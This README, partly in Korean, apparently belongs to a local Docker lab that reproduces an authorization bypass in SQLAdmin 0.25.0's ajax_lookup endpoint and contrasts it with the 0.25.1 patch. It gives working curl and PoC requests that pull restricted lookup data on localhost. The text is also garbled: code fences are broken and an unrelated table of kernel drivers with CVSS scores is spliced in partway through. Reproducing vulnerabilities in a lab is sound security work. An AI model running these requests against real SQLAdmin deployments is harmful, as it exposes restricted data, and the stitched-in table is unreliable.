The lab intentionally uses a simple `Report` / `SecretProject` data model to make the authorization bypass easy to understand. These model names are not the root cause of the vulnerability. They are only used to create a controlled reproduction condition.

This lab is designed for controlled local research, source-level understanding, and portfolio demonstration only.

## Verified Facts

| Claim                                                                 | Evidence                                                                                                           | How to verify in this lab                                                                 |
| --------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------- |
| SQLAdmin's `ajax_lookup` endpoint is the affected component.          | Public advisory describes the affected endpoint format as `GET /{identity}/ajax/lookup?name=<field>&term=<query>`. | Run the PoC and observe requests to `/admin/report/ajax/lookup?name=project&term=Secret`. |
| SQLAdmin `0.25.0` is used as the vulnerable comparison target.        | The lab installs `sqladmin==0.25.0` in the `vuln` container.                                                       | Run `docker compose exec -T vuln python -m pip show sqladmin`.                            |
| SQLAdmin `0.25.1` is used as the patched comparison target.           | Public advisory and release notes identify `0.25.1` as the fixed version.                                          | Run `docker compose exec -T patched python -m pip show sqladmin`.                         |
| The root cause is in SQLAdmin's upstream `Admin.ajax_lookup()` route. | The patch adds missing authentication and `is_accessible(request)` enforcement to `ajax_lookup()`.                 | Inspect `Admin.ajax_lookup()` inside both containers with the commands in this README.    |
| The lab creates a restricted `ModelView`.                             | `ReportAdmin.is_accessible(request)` intentionally returns `False`.                                                | Inspect `app/main.py`.                                                                    |
| The PoC uses an authenticated session.                                | The PoC first logs in to `/admin/login`, keeps the session cookie, then requests `ajax_lookup`.                    | Run `python3 poc/poc.py --base-url http://127.0.0.1:8001`.                                |
| The vulnerable signal is data exposure.                               | SQLAdmin `0.25.0` returns HTTP 200 and JSON lookup results from a restricted view.                                 | The vulnerable target should return `Secret Project Alpha` and `Secret Project Beta`.     |
| The patched signal is access denial.                                  | SQLAdmin `0.25.1` returns HTTP 403 for the same authenticated request.                                             | The patched target should return `403 Forbidden`.                                         |

## Assumptions and Unknowns

This lab uses `sqladmin==0.25.0` as the vulnerable baseline and `sqladmin==0.25.1` as the patched baseline.

The lab focuses on the authorization bypass condition where:```text
A user is authenticated,
the target ModelView is not accessible,
but ajax_lookup is requested directly.

Other admin routes are expected to enforce this access-control decision before allowing the request to continue. For example, routes such as list, create, details, delete, edit, and export check whether the current request is allowed to access the target `ModelView`.

The vulnerable `ajax_lookup` route did not enforce the same access-control decision.

The `ajax_lookup` endpoint is used by SQLAdmin's `form_ajax_refs` feature to dynamically load relationship values. Its endpoint format is:```text
/admin/<identity>/ajax/lookup?name=<field>&term=<query>

## 소스 패치 요약

의미 있는 업스트림 패치는 `Admin.ajax_lookup()`에 인증 및 권한 부여 강제 적용을 추가한 것입니다.

패치된 동작은 다음의 경우와 동일합니다:```python
@login_required
async def ajax_lookup(self, request):
    identity = request.path_params["identity"]
    model_view = self._find_model_view(identity)

    if not model_view.is_accessible(request):
        raise HTTPException(status_code=403)

    name = request.query_params.get("name")
    term = request.query_params.get("term")
    ...

이 랩은 취약한 버전에는 이 검사가 없고 패치된 버전에는 있음을 보여줍니다.

## 랩 아키텍처

이 랩은 Docker Compose를 통해 두 개의 격리된 Starlette 애플리케이션을 실행합니다.```text
.
├── app/
│   ├── __init__.py
│   └── main.py
├── docker-compose.yml
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── README.md
├── requirements/
│   ├── patched.txt
│   └── vuln.txt
└── vuln/
    └── Dockerfile

`Report`은 `SecretProject`와 관계를 가집니다:```text
Report.project -> SecretProject

제한된 관리자 보기는 다음과 같습니다:```python
class ReportAdmin(ModelView, model=Report):
    def is_accessible(self, request):
        return False

기본 랩 자격 증명:```text
username: analyst
password: lab-password

## 빠른 시작

랩을 빌드하고 시작하세요:```bash
docker compose down --remove-orphans
docker compose up --build -d

노출될 것으로 예상되는 서비스:```text
Vulnerable target: http://127.0.0.1:8001
Patched target:    http://127.0.0.1:8002

둘 다 반환해야 합니다:```json
{"status":"ok"}

로그인 자격 증명:```text
analyst / lab-password

패치된 서비스에 동일한 PoC를 실행하세요:```bash
python3 poc/poc.py \
  --base-url http://127.0.0.1:8002 \
  --label "sqladmin 0.25.1 patched"

PoC는 인증 우회가 독자에게 보이도록 의도적으로 요청 및 응답 흐름을 출력합니다.

## curl을 사용한 수동 HTTP 재현

`poc/poc.py`를 사용하지 않고도 취약점을 수동으로 재현할 수 있습니다.

정확한 HTTP 흐름을 보여주고 싶을 때 유용합니다:```text
login
→ save session cookie
→ send ajax_lookup request
→ compare vulnerable and patched responses

실습 사용자로 로그인하고 세션 쿠키를 저장하세요:```bash
curl -i -s -L \
  -c "$COOKIE_JAR" \
  -b "$COOKIE_JAR" \
  -X POST "$TARGET/admin/login" \
  -d "username=analyst" \
  -d "password=lab-password"

예상되는 취약 결과:```http
HTTP/1.1 200 OK
content-type: application/json

이는 요청이 인증되었음에도 `ReportAdmin.is_accessible(request)`가 `False`를 반환하지만 SQLAdmin `0.25.0`이 여전히 조회 데이터를 반환하므로 취약한 동작을 확인합니다.

### 패치된 대상

패치된 대상 URL을 설정하세요:```bash
TARGET="http://127.0.0.1:8002"
COOKIE_JAR="/tmp/cve-2026-46645-patched.cookies"

동일한 제한된 `ajax_lookup` 요청을 보내십시오:```bash
curl -i -s \
  -b "$COOKIE_JAR" \
  "$TARGET/admin/report/ajax/lookup?name=project&term=Secret"

이는 SQLAdmin `0.25.1`이 `ajax_lookup()` 내부에서 누락된 `ModelView.is_accessible(request)` 검사를 적용하기 때문에 패치된 동작을 확인해 줍니다.

### 한 줄 비교

취약한 서비스:```bash
curl -s -L \
  -c /tmp/cve-2026-46645-vuln.cookies \
  -b /tmp/cve-2026-46645-vuln.cookies \
  -X POST http://127.0.0.1:8001/admin/login \
  -d "username=analyst" \
  -d "password=lab-password" >/dev/null && \
curl -i -s \
  -b /tmp/cve-2026-46645-vuln.cookies \
  "http://127.0.0.1:8001/admin/report/ajax/lookup?name=project&term=Secret"

예상 비교:```text
sqladmin 0.25.0 -> HTTP 200 + JSON lookup results
sqladmin 0.25.1 -> HTTP 403 Forbidden

패치된 대상:```text
================================================================================
Target: sqladmin 0.25.1 patched
================================================================================
Base URL      : http://127.0.0.1:8002
Login URL     : http://127.0.0.1:8002/admin/login
Lookup URL    : http://127.0.0.1:8002/admin/report/ajax/lookup
Lookup params : name='project', term='Secret'

================================================================================
Step 1 - Login as authenticated low-privileged user
================================================================================
Request:
POST http://127.0.0.1:8002/admin/login
form username='analyst'
form password=<hidden>

Response:
HTTP status : 200
Final URL   : http://127.0.0.1:8002/admin/
Cookies     : {'session': '<redacted>'}

================================================================================
Step 2 - Send ajax_lookup request to restricted ModelView
================================================================================
Request:
GET http://127.0.0.1:8002/admin/report/ajax/lookup?name=project&term=Secret

Security condition:
- The user is authenticated.
- ReportAdmin.is_accessible(request) returns False.
- A restricted admin ModelView should not expose lookup data.

Response:
HTTP status  : 403
Content-Type : text/html; charset=utf-8

================================================================================
Step 3 - Interpretation
================================================================================
[PATCHED SIGNAL]
The restricted ajax_lookup endpoint returned HTTP 403.
This matches the patched behavior introduced in SQLAdmin 0.25.1.

랩 자격 증명을 사용하여:```text
analyst / lab-password

실습 애플리케이션에서 이 요청은 `ReportAdmin`을 대상으로 합니다.

`ReportAdmin`은 의도적으로 접근할 수 없습니다:```python
def is_accessible(self, request):
    return False

SQLAdmin `0.25.0`에서 엔드포인트는 HTTP 200과 JSON 조회 결과를 반환합니다. 이는 취약한 동작을 확인해 줍니다.

SQLAdmin `0.25.1`에서 엔드포인트는 HTTP 403을 반환합니다. 이는 패치된 동작을 확인해 줍니다.

## 유용한 검증 명령어

실행 중인 컨테이너 확인:```bash
docker compose ps

설치된 SQLAdmin 버전을 확인하세요:```bash
docker compose exec -T vuln python -m pip show sqladmin
docker compose exec -T patched python -m pip show sqladmin

PoC를 다시 실행하세요:```bash
python3 poc/poc.py \
  --base-url http://127.0.0.1:8001 \
  --label "sqladmin 0.25.0 vulnerable"

|--------------------|------------|---------|
| 드라이버           | CVSS 점수  | 유형    |
|--------------------|------------|---------|
| vmxnet3.sys        | 9.8        | 커널    |
| webapp.sys         | 6.7        | 커널    |
| lumacore.sys       | 4.1        | 커널    |
| ...                | ...        | ...      |
|--------------------|------------|---------|
``````bash
python3 poc/poc.py \
  --base-url http://127.0.0.1:8002 \
  --label "sqladmin 0.25.1 patched"

설치된 취약한 소스를 검사합니다:```bash
docker compose exec -T vuln python - <<'PY'
import inspect
import sqladmin.application

print(sqladmin.application.__file__)
print(inspect.getsource(sqladmin.application.Admin.ajax_lookup))
PY

취약한 버전은 `ajax_lookup()` 내부에서 `model_view.is_accessible(request)`를 강제하지 않아야 합니다.

패치된 버전에는 다음과 동등한 인가 검사가 포함되어야 합니다:```python
if not model_view.is_accessible(request):
    raise HTTPException(status_code=403)

이 실습에 유용한 로그 지표는 다음과 같습니다:```text
GET /admin/report/ajax/lookup?name=project&term=Secret

예상되는 패치된 로그 패턴:```text
GET /admin/report/ajax/lookup?name=project&term=Secret HTTP/1.1" 403 Forbidden

컨테이너, 네트워크 및 익명 볼륨 제거:```bash
docker compose down -v --remove-orphans

원하는 경우 증거 파일을 제거하십시오:```bash
rm -rf evidence/

PoC에는 자격 증명 탈취, 데이터 변조, 지속성, 측면 이동 또는 외부 콜백을 위한 페이로드는 포함되어 있지 않습니다.

목표는 통제된 환경에서 하나의 특정 권한 부여 우회 조건을 입증하는 것입니다.```text
authenticated user
+ restricted ModelView
+ ajax_lookup request
+ vulnerable version returns data
+ patched version returns 403